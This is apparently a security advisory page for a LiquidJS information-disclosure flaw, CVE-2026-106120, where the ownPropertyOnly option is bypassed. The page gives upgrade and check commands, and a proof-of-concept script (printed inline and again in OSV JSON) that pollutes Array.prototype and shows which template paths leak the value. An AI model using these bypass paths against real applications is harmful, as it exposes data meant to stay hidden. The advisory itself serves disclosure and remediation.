CVE-2026-106120: LiquidJS OwnPropertyOnly Bypass For Inherited Array Vulnerability

MODERATE
Advisory Identifier: GHSA-fwxr-j5w2-587m
CWE-200
Published
Advisory Summary

CVE-2026-106120 is a MODERATE ownpropertyonly bypass for inherited array vulnerability (CWE-200: Exposure of Sensitive Information to an Unauthorized Actor) affecting LiquidJS libraries in the npm ecosystem. The issue involves ownpropertyonly bypass for inherited array indices in first/last/join/reverse/slice/compact, `.first`/`.last`, negative index, and for-loop iteration. Remediation is available by upgrading affected packages to version 10.27.2.

CVE-2026-106120 at a Glance

CVE Identifier CVE-2026-106120
GHSA Identifier GHSA-fwxr-j5w2-587m
Severity MODERATE
CVSS v3.1 Base Score N/A
CWE Classification CWE-200: Exposure of Sensitive Information to an Unauthorized Actor
Affected Product LiquidJS
Package Ecosystem npm
Published Date
Last Updated

How to Fix CVE-2026-106120

To remediate this vulnerability, upgrade all affected LiquidJS dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

liquidjs fixed: 10.27.2
npm install liquidjs@10.27.2
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

npm ls liquidjs

How to Check if You Are Affected

To determine whether your Node.js application is affected by CVE-2026-106120, inspect your project dependencies using npm:

npm ls liquidjs

Analyze the terminal output to locate any version of LiquidJS in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 10.27.2), your application is affected.

Note: The npm ls liquidjs command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-200: Exposure of Sensitive Information to an Unauthorized Actor, where the product exposes sensitive information to an actor that is not explicitly authorized to have access to that information. In LiquidJS, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

## Summary LiquidJS’s `ownPropertyOnly` option is intended to prevent templates from reading inherited or prototype properties from scope data. With `ownPropertyOnly: true`, direct access such as: ```liquid {{ a[0] }} ``` correctly blocks an inherited array index. However, the same inherited value is still disclosed through: ```text .first .last negative indexing for-loop iteration first last join reverse slice compact ``` ## Impact This is an information disclosure issue when an application relies on `ownPropertyOnly: true` to safely render templates over untrusted or prototype-polluted scope data. Object prototype property reads are blocked as expected, but inherited `Array.prototype` index reads are not consistently blocked. An attacker who can influence prototype state or inherited array-index data may cause templates to disclose values that `ownPropertyOnly` is expected to hide. ## Proof of concept ```js const { Liquid } = require("liquidjs"); const engine = new Liquid({ ownPropertyOnly: true }); Array.prototype[0] = "ARRAY_PROTO_POLLUTED"; Object.prototype.secret = "OBJECT_PROTO_POLLUTED"; const a = []; a.length = 1; const o = {}; for (const [src, scope] of [ ["{{ a[0] }}", { a }], ["{{ a[-1] }}", { a }], ["{{ o.secret }}", { o }], ["{{ a.first }}", { a }], ["{{ a.last }}", { a }], ["{{ a | first }}", { a }], ["{{ a | last }}", { a }], ["{{ a | join: ',' }}", { a }], ["{{ a | reverse | first }}", { a }], ["{{ a | slice: 0, 1 | join: ',' }}", { a }], ["{{ a | compact | join: ',' }}", { a }], ["{% for x in a %}[{{ x }}]{% endfor %}", { a }], ]) { console.log(src, "=>", JSON.stringify(engine.parseAndRenderSync(src, scope))); } delete Array.prototype[0]; delete Object.prototype.secret; ``` ## Observed behavior ```text {{ a[0] }} => "" {{ a[-1] }} => "ARRAY_PROTO_POLLUTED" {{ o.secret }} => "" {{ a.first }} => "ARRAY_PROTO_POLLUTED" {{ a.last }} => "ARRAY_PROTO_POLLUTED" {{ a | first }} => "ARRAY_PROTO_POLLUTED" {{ a | last }} => "ARRAY_PROTO_POLLUTED" {{ a | join: ',' }} => "ARRAY_PROTO_POLLUTED" {{ a | reverse | first }} => "ARRAY_PROTO_POLLUTED" {{ a | slice: 0, 1 | join: ',' }} => "ARRAY_PROTO_POLLUTED" {{ a | compact | join: ',' }} => "ARRAY_PROTO_POLLUTED" {% for x in a %}[{{ x }}]{% endfor %} => "[ARRAY_PROTO_POLLUTED]" ``` ## Expected behavior When `ownPropertyOnly: true` is enabled, inherited array indices should be treated as absent, matching the behavior of: ```liquid {{ a[0] }} {{ o.secret }} ``` Inherited or prototype-provided array-index values should not be exposed through array filters, array properties, negative indexing, or loop iteration. ## Root cause `ownPropertyOnly` appears to be enforced in `readJSProperty()`, but several array-element access paths use raw or native array operations instead. Examples include: ```text negative indexing using obj[obj.length + key] readFirst/readLast using obj[0] / obj[obj.length - 1] filters such as first, last, join, reverse, slice, and compact operating on arrays through native element reads for-loop iteration materializing inherited array indices ``` Because these paths do not consistently check whether an array index is an own property, inherited array indices can be read even when `ownPropertyOnly` is enabled.

CVE-2026-106120 Affected LiquidJS Versions

1 component(s)
Fixed Versions:
10.27.2
Product / Package Ecosystem Affected Versions Fixed Version
liquidjs
npm
< 10.27.2
10.27.2

References

Frequently Asked Questions

What is CVE-2026-106120?
CVE-2026-106120 is a security vulnerability in LiquidJS involving ownPropertyOnly bypass for inherited array indices in first/last/join/reverse/slice/compact, `.first`/`.last`, negative index, and for-loop iteration under CWE-200: Exposure of Sensitive Information to an Unauthorized Actor.
Which LiquidJS versions are affected?
Affected versions include releases prior to 10.27.2 across affected packages: liquidjs.
What version fixes CVE-2026-106120?
Upgrading to 10.27.2 (or the latest patched release for your respective branch) resolves the vulnerability.
Is liquidjs affected?
Yes, liquidjs is affected in releases prior to 10.27.2. Upgrade your dependency to 10.27.2 or later.
What CWE is associated with CVE-2026-106120?
CVE-2026-106120 is classified under CWE-200: Exposure of Sensitive Information to an Unauthorized Actor (The product exposes sensitive information to an actor that is not explicitly authorized to have access to that information.).
How can I check npm dependencies for CVE-2026-106120?
Run the dependency tree command: 'npm ls liquidjs'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-fwxr-j5w2-587m",
  "modified" : "2026-10-07T16:19:09Z",
  "published" : "2026-10-07T16:19:09Z",
  "aliases" : [ "CVE-2026-106120" ],
  "summary" : "LiquidJS: ownPropertyOnly bypass for inherited array indices in first/last/join/reverse/slice/compact, `.first`/`.last`, negative index, and for-loop iteration",
  "details" : "## Summary\n\nLiquidJS’s `ownPropertyOnly` option is intended to prevent templates from reading inherited or prototype properties from scope data. \nWith `ownPropertyOnly: true`, direct access such as:\n\n```liquid\n{{ a[0] }}\n```\n\ncorrectly blocks an inherited array index. However, the same inherited value is still disclosed through:\n\n```text\n.first\n.last\nnegative indexing\nfor-loop iteration\nfirst\nlast\njoin\nreverse\nslice\ncompact\n```\n\n## Impact\n\nThis is an information disclosure issue when an application relies on `ownPropertyOnly: true` to safely render templates over untrusted or prototype-polluted scope data.\n\nObject prototype property reads are blocked as expected, but inherited `Array.prototype` index reads are not consistently blocked. An attacker who can influence prototype state or inherited array-index data may cause templates to disclose values that `ownPropertyOnly` is expected to hide.\n\n\n## Proof of concept\n\n```js\nconst { Liquid } = require(\"liquidjs\");\n\nconst engine = new Liquid({ ownPropertyOnly: true });\n\nArray.prototype[0] = \"ARRAY_PROTO_POLLUTED\";\nObject.prototype.secret = \"OBJECT_PROTO_POLLUTED\";\n\nconst a = [];\na.length = 1;\n\nconst o = {};\n\nfor (const [src, scope] of [\n  [\"{{ a[0] }}\", { a }],\n  [\"{{ a[-1] }}\", { a }],\n  [\"{{ o.secret }}\", { o }],\n  [\"{{ a.first }}\", { a }],\n  [\"{{ a.last }}\", { a }],\n  [\"{{ a | first }}\", { a }],\n  [\"{{ a | last }}\", { a }],\n  [\"{{ a | join: ',' }}\", { a }],\n  [\"{{ a | reverse | first }}\", { a }],\n  [\"{{ a | slice: 0, 1 | join: ',' }}\", { a }],\n  [\"{{ a | compact | join: ',' }}\", { a }],\n  [\"{% for x in a %}[{{ x }}]{% endfor %}\", { a }],\n]) {\n  console.log(src, \"=>\", JSON.stringify(engine.parseAndRenderSync(src, scope)));\n}\n\ndelete Array.prototype[0];\ndelete Object.prototype.secret;\n```\n\n## Observed behavior\n\n```text\n{{ a[0] }}                                  => \"\"\n{{ a[-1] }}                                 => \"ARRAY_PROTO_POLLUTED\"\n{{ o.secret }}                              => \"\"\n{{ a.first }}                               => \"ARRAY_PROTO_POLLUTED\"\n{{ a.last }}                                => \"ARRAY_PROTO_POLLUTED\"\n{{ a | first }}                             => \"ARRAY_PROTO_POLLUTED\"\n{{ a | last }}                              => \"ARRAY_PROTO_POLLUTED\"\n{{ a | join: ',' }}                         => \"ARRAY_PROTO_POLLUTED\"\n{{ a | reverse | first }}                   => \"ARRAY_PROTO_POLLUTED\"\n{{ a | slice: 0, 1 | join: ',' }}           => \"ARRAY_PROTO_POLLUTED\"\n{{ a | compact | join: ',' }}               => \"ARRAY_PROTO_POLLUTED\"\n{% for x in a %}[{{ x }}]{% endfor %}       => \"[ARRAY_PROTO_POLLUTED]\"\n```\n\n## Expected behavior\n\nWhen `ownPropertyOnly: true` is enabled, inherited array indices should be treated as absent, matching the behavior of:\n\n```liquid\n{{ a[0] }}\n{{ o.secret }}\n```\n\nInherited or prototype-provided array-index values should not be exposed through array filters, array properties, negative indexing, or loop iteration.\n\n## Root cause\n\n`ownPropertyOnly` appears to be enforced in `readJSProperty()`, but several array-element access paths use raw or native array operations instead.\n\nExamples include:\n\n```text\nnegative indexing using obj[obj.length + key]\nreadFirst/readLast using obj[0] / obj[obj.length - 1]\nfilters such as first, last, join, reverse, slice, and compact operating on arrays through native element reads\nfor-loop iteration materializing inherited array indices\n```\n\nBecause these paths do not consistently check whether an array index is an own property, inherited array indices can be read even when `ownPropertyOnly` is enabled.",
  "severity" : [ {
    "type" : "CVSS_V4",
    "score" : "CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "npm",
      "name" : "liquidjs"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "10.27.2"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 10.27.1"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/harttle/liquidjs/security/advisories/GHSA-fwxr-j5w2-587m"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-106120"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/harttle/liquidjs/pull/924"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/harttle/liquidjs/commit/552819a84b80c62306fe61072628a756272dc749"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/harttle/liquidjs"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/harttle/liquidjs/releases/tag/v10.27.2"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-200" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-10-07T16:19:09Z",
    "nvd_published_at" : "2026-10-06T19:17:42Z"
  }
}